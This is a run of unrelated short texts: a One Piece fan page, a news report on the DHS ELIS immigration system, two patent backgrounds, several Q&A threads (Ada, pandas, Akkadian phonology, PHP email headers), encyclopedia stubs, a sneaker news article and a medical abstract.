Nami spent eight years drawing maps for Arlong and stealing treasure from pirates in order to save the village. Eventually, she meets Luffy and Zoro and decides to join them, as she expects to get money out of it. After the Straw Hats meet Sanji, she steals the Going Merry and runs back to the village. They follow her to the village and remove Arlong from power by force. Nami then agrees to join the Straw Hat Pirates as their navigator.
Roronoa Zoro is the first to join the crew of ruffy group. He is 19 years old and a skilled swordsman, who uses up to three swords at once, clutching the third in his mouth. He is extremely poor at understanding geographical directions and gets lost very easily. He also sleeps a great deal and loves to drink. His goal is to become the greatest swordsman in the world, by beating the current greatest swordsman, Mihawk, due to a promise he made to a childhood friend named Kuina. Zoro is voiced by Wataru Takagi in the OVA and by Kazuya Nakai in the Japanese version of the anime. In the English dubs, he is voiced by Marc Diraison for 4Kids, by Brian Zimmerman for Odex[citation needed] and by Christopher Sabat for Funimation.On his journey he made a living by bounty hunting, which lead to his nickname "Pirate Hunter". One day he was imprisoned for a month, but Luffy, who had been attracted by Zoro's fame among other things, saved him, but only after he agreed to join his pirate crew. Since then, Zoro is also extremely loyal to Luffy, even begging Bartholomew Kuma, one of the Seven Warlords, to exchange Luffy's life for his. Zoro is a skilled swordsman, able to use one, two and three swords in varying attack styles, and even no swords, although he is most proficient with the fictional sword style Santōryū (literally: three sword style), clutching his third sword in his mouth. Zoro is somehow able to speak with his sword held in his mouth; Eiichiro Oda has stated that it is his heart that allows him to do so. Zoro has several sword techniques at his disposal, using one sword, two swords, or all three. He is also capable of fighting effectively with no swords, and his physical strength is enough to lift a building. Zoro also has the ability to cut through solid steel, or materials as hard as steel, which he learned when fighting Das Bones (Baroque Works Mr. 1) in Arabasta. He is also capable of using the 'Asura' technique, which gives Zoro three faces and six arms, thus totaling nine swords. In addition, Zoro can expand the muscle mass of his arms, an ability he often employs to break through opponent's physical defenses.
Zoro is one of the most popular One Piece characters, ranking second in the most recent Japanese fan poll. Furthermore, in a 2007 poll by Oricon, Zoro was voted as the 4th most desired character to receive a spinoff. In a review of the series, DVD Talk claims that Zoro is a great example of the show's humorous physics, and praises his Santōryū fighting style.
Luffy is the best anime character, i like luffy because he is never give up and his power increse when his friend need him,
Luffy's dream is to obtain the deceased Pirate King Gold Roger's legendary treasure "One Piece", and become king of the pirates. In order to find the One Piece he want to create a super crew of around 10 members to prove he is just a good of a pirate as his child hood hero, Red Hair Shanks.He also wants to be the next Pirate King because he believes who ever the pirate king is also the person who has the most freedom. Although his ambitions are that great, he is portrayed as a carefree and sometimes air headed character. He is also portrayed with a huge appetite, often eating to the point of becoming comically fat, or thinking with his stomach. Luffy is also shown to be caring and generals good hearted on many occasions. But he isn't naive, and understands most situations more than he shows. Knowing the dangers ahead, he is willing to risk his life to reach his goal, and protect his crew.
Despite all of his experiences over the course of the series, Luffy is still fairly immature, although he has shown some development into his character. He invites several people, such as Chopper or Brook, onto his crew without having any idea of their professions. His main reason is because of their interesting appearances or personalities. He is rarely concerned with the consequences of his actions, doing what he feels even if it leads to retaliation by a powerful force. This even includes punching out a member of the "Heavenly Dragon Clan", an aristocratic world noble whose horrible deeds such as slavery and murder go unpunished by the World Government, even though doing so would result in an extremely powerful government soldier (usu. a marine admiral) being sent to the island.However, he is an extremely loyal captain, who has demonstrated at many points throughout the series that he is willing to risk his life for the well-being of his crew, even if it means defying the World Government.
Abilities
Luffy gained rubber-like stretching powers from eating the Gum Gum devil fruit (also refered to as Gomu Gomu no Mi ((In Japanese, Gomu Gomu no Mi?),at the cost of never being able to swim again, like all of the Devil Fruit users in One Piece. Luffy uses the malleability of his limbs to achieve tremendous velocity to strike enemies with devastating impact. His rubber body is virtually immune to recoil attacks. As such, blunt objects, punches and even bullets deflect off his body harmlessly. However, he can be hurt by regular blows if they are strong enough.
Luffy's most powerful abilities are his upgraded Gears, which he developed after being beaten effortlessly by Admiral Aokiji. Luffy's Gears are used to enhance his basic attacks, and are regarded as different forms of his regular body. To date, Luffy has used two forms in the story; Gear Second and Gear Third. In the former form, Luffy uses the elasticity of his rubber body to pump blood from his calves in his whole body at enhanced speed, boosting up his metabolism at a super humanly fast rate.
Doing so, he becomes able to move and react at superhuman speeds, and hit with a greatly enhanced strength, paying the toll of a reduced stamina and a telltale increase in his body temperature. Gear Third, instead, activated by biting his own hand down to the bone and blowing air in the open wound, grants him giant, over sized limbs with a far greater striking surface. But there is a side effect to using Gear Third. Luffy shrinks and he can't use his Gum-Gum powers until he returns to normal. He has also shown that he is capable of using both techniques simultaneously during his fight with Gecko Moria, although it greatly strains his body.
Luffy has also demonstrated the innate ability to intimidate a foe into submission without throwing a single punch, much like his hero Red-haired Shanks, who did the same to the local sea monster at Luffy's village (episode 4/chapter 1 of the book).This ability is known as "haki" (alternatively called "spirit", or roughly translated as "ambition" from Japanese) in the world of One Piece. Known users are his idol, Red-Haired Shanks, the first mate of Gol D. Rogers' pirate crew, Silvers Rayleigh, and Boa Hancock, though she hasn't mastered it yet.
The ability is divided into "colors" depending upon the person and Luffy's is categorized as "Supreme-King Colored", a color that occurs extremely rarely - one in a million according to the Kuja
One Piece is my favorite anime and manga, ill wait the release manga and series of one piece every week. Here are good One Piece picture:
Here is article about one piece from wiki:
One Piece is a Japanese shōnen manga written and illustrated by Eiichiro Oda, that has been serialized in Weekly Shōnen Jump magazine since August 4, 1997. The individual chapters are being published in tankōbon volumes by Shueisha, with the first released on December 24, 1997 and 52 volumes released as of December 2008. One Piece follows the adventures of Monkey D. Luffy, a 17-year-old boy, who gained supernatural abilities by eating a magical fruit, and his ragtag crew of heroic pirates, named the Straw Hats. Luffy's greatest ambition is to obtain the world's ultimate treasure, One Piece, and thereby become the next Pirate King. When creating the series, Oda was heavily influenced by the manga Dragon Ball.
One Piece is licensed for an English language release in North America by Viz Media. The individual chapters are being serialized in Viz's Shonen Jump manga anthology and being published in tankōbon volumes. In the United Kingdom, the series is being released by Gollancz Manga. Madman Entertainment is releasing the series in Australia and New Zealand.
The series was adapted into an original video animation (OVA) produced in 1998 by Production I.G. It was later adapted into a full anime series by Toei Animation that premiered in Japan on Fuji Television on October 20, 1999. As of December 15, 2008, 381 episodes of the series have aired. The anime series was licensed for a heavily edited English dubbed broadcast in North America by 4Kids Entertainment. It has since been licensed for a full Region 1 DVD release and broadcast by Funimation Entertainment. In addition to the anime series and OVA, One Piece has been adapted into nine feature films by Toei and multiple video games based on the series have been released.
With over 140 million copies sold, One Piece is the third highest selling manga in the history of Weekly Shōnen Jump. It is considered their most acclaimed and all-time third-best-selling title in Japan.
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After six years of development, a new automated system for processing immigration forms takes twice as long as processing applications by hand, according to a Department of Homeland Security internal watchdog.
The $1.7 billion information technology project, called Transformation, began under a $536,000 contract with a 2013 end date but soon stalled because of, inspectors say, poor planning and inadequate staffing.
One problem today is that the user interface on the Electronic Immigration System — or ELIS — is something of a maze.
"Immigration services officers take longer to adjudicate in ELIS in part because of the estimated 100 to 150 clicks required to move among sublevels and open documents to complete the process," Richard Harsche, acting assistant inspector general (IG) for the DHS Office of IT Audits, said in a newly released report.
ELIS — the abbreviation was intended to evoke the historic immigration station Ellis Island — also has no tabs or highlighting features, and searches do not produce usable results, he said.
At one location evaluated, employees closed 2.16 cases per hour manually and 0.86 cases in ELIS.
"Instead of improved efficiency, time studies conducted by service centers show that adjudicating on paper is at least two times faster than adjudicating in ELIS," Harsche said. The project is being financed through immigrant fees.
Officials at DHS U.S. Citizenship and Immigration Services (USCIS), which maintains the system, are aware of the technical problems, according to the IG. The agency plans to make adjustments in future phases of the project, including reducing the number of clicks required to get work done.
However, in some respects, the agency's hands are tied by the project’s original blueprints.
"USCIS has been limited in its ability to make changes to ELIS because of challenges with the existing architecture," Harsche said. "The architecture consists of 29 commercial software products, which are difficult to integrate." Most modifications will take place by the end of 2014, during a transition to a more flexible architecture.
The agency recently inked a potential $58 million contract in hopes of completing the e-filing system. Going forward, USCIS will break up the project into six-month software release cycles to identify problems early, rather than run the risk of finishing and discovering the whole system does not perform.
This "agile" development strategy was praised in the IG report.
"Agile methods used during software development projects can reduce the risk of project failure and assure that the delivered system performs as intended," Harsche said. "With the appropriate blend of tools, processes, and people with appropriate skill sets, the USCIS [chief information officer] can use these agile approaches to support the agency better in its goals, such as completing the USCIS Transformation effort.”
On July 15, USCIS officials said a June 2 letter that replied to a draft report will stand as the agency's public response to the final assessment.
"Coordination and communication between the system owner and business owner is crucial to the success of USCIS meeting its mission," agency Acting Deputy Director Rendell Jones wrote. "The respective program offices are responsible for training users on the IT systems appropriate for an indivdual's particular job function" and USCIS officials also ensure "user manuals and training documentation are up to date."
He said officials expect to complete updates for the ELIS user materials by November.
This article originally published at Nextgov here
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Skrunda Parish
Skrunda Parish () is an administrative unit of Skrunda Municipality, Latvia. The parish has a population of 1209 (as of 1/07/2010) and covers an area of 257.91 km².
Villages of Skrunda parish
Bračas
Ciecere
Jaunmuiža
Kušaiņi
Niedre
Plostnieki
Pumpuri
Rūnaiši
Savenieki
Vēršmuiža
Videnieki
Category:Parishes of Latvia
Category:Skrunda Municipality
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The SureRemit global network is already well established thanks to the success of SureGifts but SureRemit will create, and require, additional expansion opportunities worldwide. We have created this form so that you can contribute your idea, tell the team about your favorite merchants, and have a voice in the company’s growth.
The ideas that you submit via the Merchant Suggestion Form are captured in a Google spreadsheet that will be shared with the team. Feel free to suggest as many merchants as you like. Your input will be a valuable resources as SureRemit expands across the globe.
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Micro-engineering is a rapidly growing field which is liable to impact on many applications over the coming years. Three-dimensional micro-engineered devices and systems involving silicon planar technology can be produced with features from one to a few hundred microns having tolerances in micron or as small as submicron level. Most of the current micro-engineering technologies are evolved from the adaptation of thin films, photolithographic and etching technologies generally applied to silicon wafers on which silicon monoxide, silicon dioxide, silicon nitride and the like thin films are deposited and etched thereafter yielding planar configurations.
Advances have been made to study chemical processes based on microfluidic systems technology using planar structures on silicon chips. Predictive flow modeling has also been developed to realize the benefits from the microfluidic technology.
The performance of chemical processing is strictly governed by the mass transport and sometimes thermal transport properties of the system. It is therefore essential to understand how miniaturization affects the chemical processes. Laminar flow of an ideal fluid in a tube or channel is well characterized. Pfahler et al (J. Pfahler, J. Harley, H. Bau and J. Zemel; sensors and Actuators; Vol. 21-23 (1990); page 431-434) have demonstrated in an experiment using channels of various geometry on silicon wafers that there is an agreement between experiment and theory concluding that the conventional Hagen-Poiseuille equation is obeyed down to a scale of few microns. Laminar volume flow per unit time, Q.sub.f, of an ideal fluid in a circular pipe is described by the Hagen-Poiseuille equation: ##EQU1## where .mu..sub.f and r are the fluid viscosity and tube radius respectively, dp/dx is the pressure gradient along the x-direction of flow.
As the channel widths are reduced, the fluid flow becomes more laminar which provides control over the distribution of material and that dictates that fluid mixing is achieved by diffusion or other molecular migration processes rather than by turbulence. This problem of mixing can be solved by commercially available software packages on computational fluid dynamics. A measure of degree of mixing, F, can be estimated from the expression F=Dt/l.sup.2, where D is a reactant diffusion constant, t is contact time allowed for mixing and l is distance across a reactant stream. Quantitatively, mixing may be defined as substantial to nearly complete for F values from 0.1 to 1. Typically, near complete mixing of two fluids in 1 second corresponds to channel widths of 100 .mu.m.
Similarly, problems exist with respect to heat transfer in micro-channels under laminar flow conditions. Understanding of this laminar heat flow process can be useful in designing and building micro heat exchangers and chemical micro-reactors.
The current planar silicon technologies are inadequate for the fabrication of an integrated and self-contained catalytic reaction and micro-filtering arrangement.
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Dimitar Dimitrov
Dimitar Dimitrov may refer to:
Dimitar Dimitrov (bobsleigh) (born 1966), Bulgarian Olympic bobsledder
Dimitar Dimitrov (football manager) (born 1959), Bulgarian football manager
Dimitar Dimitrov (writer) (born 1937), former Macedonian Minister of Culture
Dimitar Dimitrov (volleyball) (born 1952), Bulgarian former volleyball player
Dimitar Dimitrov (footballer, born 1949), Bulgarian footballer
Dimitar Dimitrov (footballer, born 1989), Bulgarian footballer
Dimitar Dimitrov (footballer, born 1990), Bulgarian footballer
Dimitar Dimitrov (gymnast) (born 1978), Bulgarian artistic gymnast
Dimitar Dimitrov (basketballer), Bulgarian basketball player
Dimitar Dimitrov (zoologist), zoologist interested in spiders
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Q:
object.method notation in Ada
does anyone know of a good resource to explain when the object.method notation can be used in ada?
for example:
person.walk(10);
I've been doing a bit of googling and haven't figured it out yet. Does it only apply to tagged records?
I use GPS as my Ada IDE, I quite like being able to go bla.<type something> and getting suggested methods to call.
I'm a bit confused also on why the dot notation can't be used for anything where the first parameter matches the type in question.
Thanks
Matt
A:
Yes, it only applies to tagged record (the vtable is used to find the corresponding method). It can be used for all primitive operations, or for the 'Class operations defined in the same package.
One of the nice benefits of the notation is that you do not need a "with" on the package that defines the type.
We tend to use tagged types more often theses days, just so that we can use the dot notation indeed.
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Universal Basketball Association
The Universal Basketball Association (UBA) is a semi-professional men's basketball minor league in the United States that began play in 2009. The league typically play a Spring season schedule.
Teams are split into geographical divisions, from Georgia, Indiana, Kentucky, North Carolina, Ohio and Texas.
History
UBA announced the addition of an Eastern division scheduled to begin in 2015. Teams are based in North Carolina.
Teams
Champions
References
External links
Official UBA website
Category:Basketball leagues in the United States
Category:Professional sports leagues in the United States
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Q:
Question about Pandas string manipulation for sampling chat data by answer group
Question about Pandas string manipulation for sampling chat data by answer group.
Hi, I would like to divide my chat dataset into train and test dataset.
I want to know is there any good approaches with Pandas Dataframe.
Original Dataframe
1 2 3
A Hi Hello, there
A How are you Hello, there
A What's up Hello,there
B What is your name, My name is Thomas
B May I know your name? My name is Thomas
...
->
train Dataframe
1 2 3
A Hi Hello, there
A How are you Hello, there
B What is your name, My name is Thomas
...
test Dataframe
1 2 3
A What's up Hello,there
B May I know your name? My name is Thomas
...
Basically, [Col 3] (Answer) has several Questions [Col 2] mapping.
I would like to extract sample question and answers 10~20% train&test data based on the same answer group.
It's kinda complicated approaches to recognize it only works when the answer has more than 2 questions.
Is there any good approaches for Pandas dataframe to do this?
A:
This solution is kinda sketchy but it works. There isn't a straightforward approach (as far as I know) to extract n random samples from sub groups of dataframes. What you can do is group the data by answer and concatenate the questions into a list and then pick a number of random elements. To do so, your dataframe should like the following:
import pandas as pd
data = {
'Question': [[['Hi Hello']], [['How are you']], [['Whats up']], [['What is your name']], [['May I know your name?']]],
'Answer':['there', 'there', 'there', 'My name is Thomas', 'My name is Thomas']
}
df = pd.DataFrame(data)
## df Output ##
Question Answer
0 [[Hi Hello]] there
1 [[How are you]] there
2 [[Whats up]] there
3 [[What is your name]] My name is Thomas
4 [[May I know your name?]] My name is Thomas
Now group by answer:
new_df = df.groupby('Answer').sum().reset_index()
## Output ##
Answer Question
0 My name is Thomas [[What is your name], [May I know your name?]]
1 there [[Hi Hello], [How are you], [Whats up]]
Now iterate each row and selet the rows you want for train and test. Note that in this example the extraction is not exactly random. I pick the first n for train and the last length(answer_group) - n for test.
train_file = open('train.csv', 'a')
test_file = open('test.csv', 'a')
for _, instance in new_df.iterrows():
n_questions = len(instance.Question)
splits = int(2 * n_questions / 3) # Assuming you want a train/test split of 3:1
train = instance.Question[:splits]
for train_example in train:
train_file.write(train_example[0] + ',' + instance.Answer + '\n')
test = instance.Question[splits:]
for test_example in test:
test_file.write(test_example[0] + ',' + instance.Answer + '\n')
## Files output ##
# train.csv #
What is your name,My name is Thomas
Hi Hello,there
How are you,there
# test.csv #
May I know your name?,My name is Thomas
Whats up,there
The full working code:
import pandas as pd
data = {
'Question': [[['Hi Hello']], [['How are you']], [['Whats up']], [['What is your name']], [['May I know your name?']]],
'Answer':['there', 'there', 'there', 'My name is Thomas', 'My name is Thomas']
}
df = pd.DataFrame(data)
print(df)
new_df = df.groupby('Answer').sum().reset_index()
print(new_df)
train_file = open('train.csv', 'a')
test_file = open('test.csv', 'a')
for _, instance in new_df.iterrows():
n_questions = len(instance.Question)
splits = int(2 * n_questions / 3) # Assuming you want a train/test split of 3:1
train = instance.Question[:splits]
for train_example in train:
train_file.write(train_example[0] + ',' + instance.Answer + '\n')
test = instance.Question[splits:]
for test_example in test:
test_file.write(test_example[0] + ',' + instance.Answer + '\n')
Edit: I just noticed I got wrong the content of questions and answers, but that's due to the bad formatting of the original post. Either way, the logic is exactly the same.
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Q:
Why does Hebrew transcribe Akkadian š inconsistently?
Biblical Hebrew consistently uses the letter ס (s) to transcribe names with the Akkadian consonant š. For example, Esarhaddon for Aššur-aḥa-iddina, Esther from Ištar, Sargon from Šarru-ukīn (all Akkadian transcriptions copied from Wikipedia). Etymologically, Akkadian š and Hebrew š almost always correspond (š and ṯ, although Akkadian š can also correspond to Hebrew ś, but not to s to my knowledge).
The only exception I can think of is Aššur which is transcribed that way (with š). Since the Aramaic reflex is Attur, the word seems to have reached both languages as a descendant (through *Aṯṯur) and not a borrowing.
On the other hand, Shalmaneser comes from Šulmanu-ašarid, and yet preserves the š at the beginning of the word, while the second š is transcribed as s.
My question is: Why does Hebrew not transcribe Akkadian š with Hebrew ש (š) instead of ס (s)? Does this indicate that Akkadian š was actually pronounced s (maybe only in Assyria)? And why was the š preserved in the name of Shalmaneser (only one of the two times)?
A:
Yes, some people think Akkadian š was pronounced [s].
For the sibilants, traditionally /š/ has been held to be postalveolar [ʃ], and /s/, /z/, /ṣ/ analyzed as fricatives; but attested assimilations in Akkadian suggest otherwise. For example, when the possessive suffix -šu is added to the root awat ('word'), it is written awassu ('his word')
(https://en.wikipedia.org/wiki/Akkadian#Consonants)
There is also relevant discussion in the Wikipedia article on Proto-Semitic:
The "maximal affricate" position additionally posits that *s *z were actually affricates [t͡s d͡z] while *š was actually a simple fricative [s] [...] According to Kogan, the affricate interpretation of Akkadian s z ṣ is generally accepted
(https://en.wikipedia.org/wiki/Proto-Semitic_language#Fricatives)
I am not familar with any of the literature, so I can't expand beyond what Wikipedia says.
A:
While Akkadian š is generally cognate with Hebrew š or ś, there's good reason to believe its pronunciation was quite different! The reason it's transcribed as š is mostly historical—Akkadian was first deciphered by comparison to other Semitic languages, so when a certain phoneme seemed to correspond regularly to Hebrew š, they named it š.
But there's evidence that, at least in some dialects, this š was pronounced as /s/. When the Hittites used Akkadian cuneiform to write their own language, they used the š signs for /s/ and left the s signs unused. (We know the Hittite phoneme was pronounced /s/, not /ʃ/, because of transcriptions of Hittite names into Egyptian: Ḫattušiliš becomes Egyptian xtsl, Muršiliš becomes Egyptian mrsl, Šuppiluliumaš becomes Egyptian spll. Egyptian had both /s/ and /ʃ/, so the consistent use of one transcription over the other is meaningful.)
EDIT: Further evidence comes from the tablet Tell el Amarna 1921 1154, which transcribes some Egyptian words in Akkadian cuneiform; Egyptian s is definitely rendered with Akkadian š, and Egyptian š may be rendered with Akkadian s (this half of the equation is less clear).
Huehnergard and Woods (in the Cambridge Encyclopedia of the World's Ancient Languages) explain it thus. Akkadian originally inherited four sibilants from Proto-Semitic: š s z ṣ /s t͡s d͡z t͡sʼ/. Later, s became a simple fricative, but this development happened separately in different dialects: š s /ʃ s/ in Babylonian but š s /s ʃ/ in Assyrian. Huehnergard had previously suggested that [s] and [ʃ] were realizations of a single phoneme, which would explain Šalmanesar, but the dialect-variation theory seems to have supplanted this.
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The present invention is directed to an end-of-service indicator including a porous waveguide, preferably an optical fibre, for the detection of the saturation of a respirator cartridge.
Respirator cartridges, and devices which incorporate them, are among the most important security devices used to protect the health of workers. More than 10 million respirator cartridges are used each day in North America.
One of the critical elements related to efficient and safe use of these cartridges is their life span. In the case of gas and vapour pollutants, often the only indicator of the saturation of the cartridge is the odor of the pollutant. This is a dangerous indicator of the end of service of the cartridge since there are many pollutants whose olfactory detection level is below the Threshold Limit Value (TLV). For a user, it is desirable that the cartridge includes an active indicator to indicate without ambiguity that the useful life of the cartridge has ended. In 1984, the National Institute for Occupational Safety and Health (NIOSH) published standards for the certification of active end-of-life indicators to encourage the development of such systems.
One type of active end-of-life indicator presently under investigation is based on the use of polymer films containing carbon particles. The presence of soluble organic vapours causes a change in the resistance of the film and it is this element that is measured. Another type of indicator is described in U.S. Pat. No. 4,146,887 to Magnante, describing the use of a temperature sensor (thermocouple or other) to detect the exothermic reaction of gas/vapour absorption in a respirator cartridge.
A related field to the invention is the field of fiber optic chemical sensor (FOCS). Many articles have been published and several patents awarded for the use of FOCS to detect solvent or chemical products. The vast majority of FOCS use a spectroscopic approach in one form or another, i.e. they rely on light absorption at specific wavelengths to identify chemical species.
Some FOCS measure light loss caused by refractive index change. For instance, U.S. Pat. No. 5,828,798 (HOPENFELD JORAM) describes the use of a specially shaped plastic fiber with a coating that dissolves in the presence of the analyte to be detected. The HOPENFELD patent claims a fiber optic sensor different from other fiber optic sensors in that the cladding material has a refractive index superior to the refractive index of the core, and that the fiber has a specific shape to increase its sensitivity. Furthermore, in the HOPENFELD patent, the cladding is chosen to be specific to a particular analyte and will dissolve in the presence of the analyte. As a result, the light transmitted by the fiber increases in the presence of the analyte.
Few FOCS use porous material, although an article published in Electronic Letters, vol. 24, p. 42 (1988) describes the use of an optical fibre having a porous cladding to measure humidity levels. In this case, the optical fibre is manufactured by depositing porous glass soot on a pure silica fibre. The intensity of the transmitted light decreases by 60% when the relative humidity reaches 90%. In this case, the fibre is straight.
U.S. Pat. No. 5,250,095 (SIGEL JR GEORGE ET AL) describes the use of a porous fiber as a chemical sensor. In this case, the pores are used as an optical chamber to contain the agent which will cause a change in the optical transmission of light by the agent and not because of changes to the guiding properties of the fiber. The SIGEL patent is very similar to standard spectroscopy techniques to detect and identify substances: it uses a tunable narrow-wavelength light source (lamp+monochromator), an optical cell (the porous fiber) and a detector to measure the change in absorption of light as a function of wavelength. The agent(s) of interest for sensing are optically detected.
The following U.S. patents are also of interest:
U.S. Pat. No. 4,154,586 Jones et al. RESPIRATOR CARTRIDGE END-OF-SERVICE LIFT INDICATOR SYSTEM AND METHOD OF MAKING;
U.S. Pat. No. 4,530,706 Jones RESPIRATOR CARTRIDGE END-OF-SERVICE LIFE INDICATOR;
U.S. Pat. No. 4,699,511 Seaver REFRACTION SENSOR;
U.S. Pat. No. 4,834,496 Blyler, Jr. et al. OPTICAL FIBER SENSORS FOR CHEMICAL DETECTION;
U.S. Pat. No. 4,846,548 Klainer FIBER OPTIC WHICH IS AN INHERENT CHEMICAL SENSOR;
U.S. Pat. No. 5,280,548 Atwater et al. EMISSION BASED FIBER OPTIC SENSORS FOR PH AND CARBON DIOXIDE ANALYSIS;
U.S. Pat. No. 5,512,882 Stetter et al. CHEMICAL SENSING APPARATUS AND METHODS;
H1470 Ewing et al. REFRACTIVE INDEX-BASED SENSOR FOR THE DISCRIMINATION OF CHLORINATED HYDRO-CARBONS FROM GROUNDWATER.
It is an object of the present invention to provide a respirator cartridge having a waveguide end-of-service indicator that is universal, active, unambiguous and simple in its construction. In accordance with the invention, this object is achieved a respirator cartridge having a waveguide end-of-service indicator, the end-of-service indicator comprising a waveguide having two extremities, one of the extremities being connected to a light source, the other of the extremities being connected to a detector which measures the intensity of light transmitted by the waveguide. An alarm is operatively connected to the detector and is triggered when the intensity of light measured by the detector is below a predetermined level. The end-of-service indicator is characterised in that at least a portion of the waveguide is porous. In use, when the end-of-service indicator is placed inside or at the exit of a respirator cartridge having a gas/vapour sorbent, and the respirator cartridge is used in a toxic environment, the gas/vapour sorbent gradually becomes saturated as does the porous waveguide, thereby lowering the guiding and transmission properties of the waveguide and triggering the alarm. In a preferred embodiment, the waveguide is an optical fibre.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
Thomas Mooney (Chaplain)
Thomas Edmund Mooney (January 21, 1906 – September 14, 1944) was a Canadian chaplain who served in World War II. Mooney was the first Canadian Catholic Chaplain reported killed in action during World War II. Mooney served as Director of Music at St. Mary's Roman Catholic Cathedral in Islington, Ontario.
History
Mooney was born in Westport, Ontario on January 21, 1906, to parents Michael Edmund and Anna Cecelia Mooney. Mooney's father, grandfather and great-grandfather were lockmasters at the Rideau Canal. Mooney's Bay Park was named after the Mooney family of lockmasters.
After graduating from high school, Mooney entered St. Michael's College, University of Toronto. He was a member of the Oratorical Club, the Quindecim Club, and the Literary Society. He was also a member of the Intercollegiate Boxing, Wrestling, and Fencing Team, winning letters for wrestling in the 158-pound class.
While at St. Michael's he decided to enter the priesthood. He attended St. Augustine's Seminary and was ordained in the Cathedral of the Immaculate Conception, Kingston on May 21, 1932. He served as Curate and Director of the Choir until January 10, 1942, when he became a Canadian Chaplain.
On September 14, 1944, the chaplain was killed in action at Moerkerke.
References
External links
The Observer, "Killed in Action" (http://obs.stparchive.com/Archive/OBS/OBS10291944p01.php)
http://www.waymarking.com/waymarks/WMB8DT_Newboro_War_Memorial_Newboro_Ontario
Category:Roman Catholic clergy in Canada
Category:World War II chaplains
Category:1906 births
Category:1944 deaths
|
{
"pile_set_name": "Wikipedia (en)"
}
|
The choices when we make when we get dressed express more than just our style. They connect us to a global industry that has massive impact on people’s lives.
Riley Morrison probably doesn’t have a resume. Nine-year-olds generally don’t. If she did, she could honestly state on it that she contributed design touches to Under Armour’s newest signature sneaker with NBA star Stephen Curry.
For International Women’s Day today (March 8), the company released its latest version of the Curry 6 sneaker, in a color combo of purples and white, and more importantly, featuring a lining designed by Morrison. It shows two girls playing basketball, surrounded by phrases such as “Girls Hoop Too,” “Girl Power,” “Be Fearless,” and “Be the Change.”
Under Armour The Curry 6 “United We Win,” with sockliner by Riley Morrison.
A few months ago, Morrison had written to Curry lamenting that girls’ sizes for his Curry 5 sneaker weren’t available on Under Armour’s website. She’s a fan of Curry and the team he plays for, the Golden State Warriors, and wanted the sneakers for her upcoming basketball season. “I hope you can work with Under Armour to change this because girls want to rock the Curry 5’s too,” it said. Morrison’s father posted the letter to Instagram.
Curry (whose daughter is also named Riley) has talked about the need for women to be treated and paid equally and supported programs for young female athletes. When the letter came to his attention, he posted a reply to Twitter, saying he was talking to Under Armour about fixing the issue. “Unfortunately, we have labeled smaller sizes as ‘Boys’ on the website,” he explained. “We are correcting this now!”
An Under Armour spokesperson described it to CBS News as a “simple yet critical error.” The boys’ and girls’ shoes aren’t actually shaped any differently. Under Armour just hadn’t put them in the girls section of its site.
It was a lapse that critics could argue points to a deeper set of assumptions about who plays sports and is worth serving as a customer. In fact, sports brands including Nike and Adidas have stepped up their efforts to serve women over the past few years, acknowledging that they hadn’t done enough previously, while more recently both Nike and Under Armour have come under fire for the boys-club cultures of their corporate workplaces.
In his Tweet, Curry wrote, “Appreciate you helping us get better Riley!” and asked her to celebrate International Women’s Day with him. In a press release for the new shoe, Under Armour said that it asked Morrison “to add her personal design touch” to the Curry 6 “United We Win” colorway to honor her actions. He also surprised her at a pop-up in downtown Oakland, where the Warriors play, to present her with the new shoes.
Under Armour Riley and Steph.
“I’ve been kinda blown away, and certainly grateful for the opportunities that Stephen has given me, including sharing inspiration for other girls through the sockliner art,” Morrison said in a statement shared by Under Armour. “This has been such an incredible experience.”
The sneaker is perhaps a more important step than it may seem. Matt Powell, the sports industry analyst for research firm NPD Group, told ESPN that typically only female athletes, such as WNBA stars, have marketed their shoes specifically to women and girls. More often brands have just sold smaller sizes of men’s shoes to women. Curry and Under Armour, with help from Morrison, are taking a step in the right direction.
|
{
"pile_set_name": "OpenWebText2"
}
|
Abciximab in primary coronary angioplasty for acute myocardial infarction improves short- and medium-term outcomes.
The purpose of this study was to compare the outcome of primary percutaneous transluminal coronary angioplasty for acute myocardial infarction (MI) when performed with or without the platelet glycoprotein IIb/IIIa antibody, abciximab. Abciximab improves the outcome of angioplasty but the effect of abciximab in primary angioplasty has not been investigated. Data were collected from a computerized database. Follow-up was by telephone or review of outpatient or hospital readmission records. A total of 182 consecutive patients were included; 103 received abciximab and 79 did not. The procedural success rate was 95% in the two groups. At 30-day follow-up, the composite event rate of unstable angina, reinfarction, target vessel revascularization and death from all causes was 13.5% in the group of patients who did not receive abciximab, 4% (p < 0.05) in the abciximab group and 2.4% (p < 0.05) in the subgroup of patients (n = 87) who completed the 12-h abciximab infusion. At the end of follow-up (mean 7+/-4 months), the composite event rate was 32.4%, 17% (p < 0.05) and 13.1% (p < 0.01) in these three categories respectively. Abciximab bolus followed by a 12-h infusion was an independent predictor of event-free survival, in a Cox proportional hazards model (relative risk 0.49; 95% confidence interval 0.24 to 0.99; p < 0.05). Abciximab given at the time of primary angioplasty may improve the short- and medium-term outcome of patients with acute MI, especially when a 12-h infusion is completed.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Q:
Setting header for date to lower SpamAssassin score
I have used a testing service (verifier.port25.com) to check what was happening when emails were getting sent from my PHP script. For some reason they were ending up in my GMail spam folder even though SPF and DKIM are enabled.
It turns out that the SpamAssassin score was 5.3, thus above the 5.0 benchmark. Below you can see why. The biggest problem is that I have a domain with 12 letters in it (it seems crazy to me that I should be punished for this but apparently 12 letter domains are popular among spammers). As I don't want to have to change my domain, it looks like the next best option is to set a header for the date, but I am not sure how to do this. Could someone help with this?
1.0 MISSING_HEADERS Missing To: header
0.0 HTML_MESSAGE BODY: HTML included in message
-0.5 BAYES_05 BODY: Bayes spam probability is 1 to 5%
[score: 0.0345]
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
1.4 MISSING_DATE Missing Date: header
3.5 FROM_12LTRDOM From a 12-letter domain
Existing Array
$headers = array(
'From' => $from,
'Return-Path' => $sender,
'Subject' => $subject
);
A:
Try adding this to your headers.
"Date: ".date("r")."\r\n"
For the array:
$headers = array(
'From' => $from,
'Return-Path' => $sender,
'Subject' => $subject,
'Date' => date("r")
);
|
{
"pile_set_name": "StackExchange"
}
|
Anterior segment complications after phacovitrectomy in diabetic and nondiabetic patients.
